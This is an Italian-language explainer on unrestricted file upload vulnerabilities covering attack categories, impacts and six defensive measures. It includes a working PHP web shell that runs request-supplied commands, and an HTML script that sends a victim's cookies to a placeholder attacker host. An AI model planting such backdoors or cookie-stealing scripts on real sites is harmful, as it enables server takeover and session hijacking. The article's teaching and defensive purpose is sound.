Unrestricted File Upload

UnrestrictedFileUpload

Un attacco informatico di tipo Unresticted File Upload prevede il caricamento e l’esecuzione sul sito web/web application di un file malevolo. Generalmente, viene utilizzato da un criminale per ottenere un punto di accesso diretto al sistema, eseguendo del codice tramite il caricamento di un file malevolo sul server.

I difetti che consentono tale attacco sono molto diffusi e occorrono ogni qualvolta una web application non verifica in modo corretto la tipologia di file caricato.

L’impatto può variare a seconda di molteplici condizioni che variano dai permessi dell’utente che esegue il codice alla configurazione del sistema.

Se correttamente sfruttata, una vulnerabilità di questo tipo potrebbe portare per esempio a:

  1. Interruzione del servizio tramite attacco DoS dovuto al file stesso
  2. Accesso al sistema operativo tramite Reverse Shell
  3. Acquisizione di persistenza all’interno della rete

Esistono un gran numero di tipologie di attacco che differiscono in base all’obiettivo finale del criminale. In generale si possono raggruppare in due gruppi principali: 

1. Attacchi alla piattaforma dell’applicazione: Tali attacchi sono i più comuni e mirano a compromettere il server stesso su cui è eseguita la web application. I file associati a tale tipologia di attacco sono:

  • File di tipo Web Application: l’attaccante genera un file contenente del codice che viene eseguito dal server stesso. Tale tipologia varia in base al linguaggio utilizzato dall’applicazione. Esempi comuni sono i file di tipo: asp, jsp, perl, php, php5, etc.
  • File di tipo Immagine: effettua un’injection tramite un difetto della libreria di immagini
  • File di Dimensioni Enormi: tali files vanno a saturare lo spazio di memoria disponibile nel server che provoca un disservizio agli utenti, i quali non riescono più ad usufruire della funzionalità, fino a generare un vero e proprio Denial of Service.
  • Percorsi e/o Nomi Dannosi: effettua il caricamento sovrascrivendo file critici per il sistema che possono portare disservizi di varia gravità in base alla tipologia di file sovrascritto.
  • Dati Personali: espone i dati di altri utenti rendendoli accessibili a tutta l’utenza.

2. Attacchi a sistemi esterni: Tali attacchi puntano a compromettere i computer degli utenti che usufruiscono del servizio stesso. I file associati sono i seguenti:

  • File InfettoIl file solitamente contenente un trojan viene scaricato dall’utente ignaro che lo esegue/apre in buona fede (che andrà, in seguito, a scaricare ulteriori malwares). Esempi comuni sono: eseguibili (exe), documenti (pdf), file contenenti macro (docx, xlsx, vbs e pptx)
  • .html: il file, che di solito contiene uno script malevolo, effettua un attacco (Cross-site Scripting) sul client dell’utente che visualizza la pagina. Tale attacco, ad esempio, può essere utilizzato per rubare la sessione della vittima.
  • File di tipo Immagine: tramite l’inserimento di oggetti Flash all’interno dell’immagine la vittima viene dirottata verso un altro sito solitamente malevolo.
  • File di tipo Archivio: il comando viene eseguito dall’antivirus vulnerabile del client che esegue il software contenuto dell’archivio al fine di analizzarlo dopo il download.

Come detto in precedenza, in base all’obiettivo finale è possibile caricare diverse tipologie di file.

  • Target Sistema: è possibile caricare una backdoor per ottenere un accesso al server senza necessariamente stabilire una connessione stabile tra il server e l’attaccante. Un esempio di backdoor può essere la seguente:
<?php if(isset($_REQUEST['cmd'])){ 
echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); 
echo "</pre>"; die; 
}?>

Come visibile dalla gif sottostante è possibile eseguire comandi sul sistema tramite la backdoor caricata

Backdoor Upload

 

  •  Target Esterno: caricando un file e raggirando l’utente con il fine di fargli visualizzare/scaricare il file è possibile effettuare varie tipologie di attacco, tra cui un cookie stealing come mostrato nella gif sottostante caricando il seguente codice html:
<html>
<script>
var i=new Image;
i.src="https://x.x.x.x:xxxx/?"+document.cookie;
</script>
</html>

Dopo che l’utente avrà aperto l’indirizzo della pagina caricata i cookie verranno inviati all’server in ascolto.

Cookie Stealing

Le tecniche di difesa che si possono adottare per difendersi da tale tipologia di attacco sono di vario tipo:

  1. Le tipologie di file caricabili devono essere limitate solo a quelle necessarie. Ad esempio, se un sito permette il caricamento di foto non dovrebbe essere possibile caricare altre tipologie di file come ad esempio documenti, eseguibili, etc. Tale filtraggio può essere gestito analizzando il nome del file e la sua estensione ma è necessaria anche un filtro con l’elenco dei consentiti (whitelist). NB: l’utilizzo di blacklist è caldamente sconsigliato in quanto è altamente improbabile che si riesca ad identificare ogni singola tipologia di file non ammesso.
  2. Effettuare un’analisi del file stesso effettuando un filtraggio/controllo dei contenuti di tutti i file caricati sul server. Questi ultimi devono quindi venir accuratamente analizzati e convalidati prima di essere resi disponibili ad altri utenti. In caso di dubbio tale file deve venir eliminato. Le analisi devono riguardare i caratteri di controllo, unicode e i caratteri speciali (ad esempio: “;”,”:”,”<“,”>”, etc.) che dovrebbero venir rimossi o sanificati in modo appropriato.
  3. Inibire l’accesso diretto al file caricato in modo tale che se a causa di un’evasione non nota è stato possibile caricare un file pericoloso non sia possibile eseguirlo in modo diretto.
  4. Gestire il nome del file in modo tale che il file caricato non abbia un nome troppo lungo, in modo da prevenire problemi con la tipologia di partizione del disco su cui è salvato. Si potrebbe anche utilizzare un algoritmo per determinare il nome del file, ad esempio tramite un hash. Inoltre, la directory su cui si viene salvato il file non dovrebbe avere permessi di esecuzione ed è necessario prevenire il salvataggio di un file con lo stesso nome di uno già presente in modo da evitare una sovrascrittura.
  5. Limitare la dimensione massima del file in modo tale da evitare attacchi di tipo DoS legati allo spazio di archiviazione e alle funzionalità stesse della web application. È necessario limitare anche la dimensione minima dei file sempre al fine di prevenire attacchi dello stesso tipo.
  6. Se i file vengono salvati nel sistema è preferibile l’utilizzo di un server isolato con un dominio diverso, al fine di servire i file caricati. Infine, solamente gli utenti registrati ed autorizzati dovrebbero essere in grado di caricare dei files in modo da limitare il numero di utenti che possono usufruire di tale funzionalità e allo stesso tempo poter tener traccia delle attività malevole.